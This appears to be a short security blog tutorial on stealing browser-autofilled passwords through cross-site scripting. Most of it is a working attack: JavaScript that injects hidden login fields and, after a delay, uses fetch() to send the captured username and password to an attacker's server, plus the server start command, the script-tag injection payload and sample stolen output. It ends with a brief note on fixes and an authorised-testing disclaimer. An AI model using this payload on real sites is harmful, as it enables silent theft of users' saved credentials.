1 minute read

The Attack

Browsers auto-fill saved credentials into type="password" fields. If you can inject those fields via XSS, the browser fills them in — and your script reads them before the victim does anything.

Step-by-Step

Step 1 — Create xss.js:

let body = document.getElementsByTagName("body")[0]

var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
// u.style.opacity = "0";  // set to 0 to make invisible

var p = document.createElement("input");
p.type = "password";
p.style.position = "fixed";
// p.style.opacity = "0";

body.append(u)
body.append(p)

setTimeout(function() {
    fetch("http://192.168.XX.XX/k?u=" + u.value + "&p=" + p.value)
}, 5000);

Step 2 — Start server:

python3 -m http.server 80

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/xss.js"></script>

What Happens

The hidden fields render on the page. The browser’s autofill kicks in and populates them with the saved username and password for that domain. After 5 seconds, your script fires and sends both values to your server.

GET /k?u=admin&p=SuperSecretP%40ss123 HTTP/1.1

Why opacity:0 Matters

Setting opacity to 0 makes the fields invisible to the user while the browser still auto-fills them. For a PoC, leave it commented out to see the fields appear.

Fix: Browsers are improving autofill heuristics — but the real fix is preventing XSS in the first place. Validate and encode all output. Use CSP to block injected scripts.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →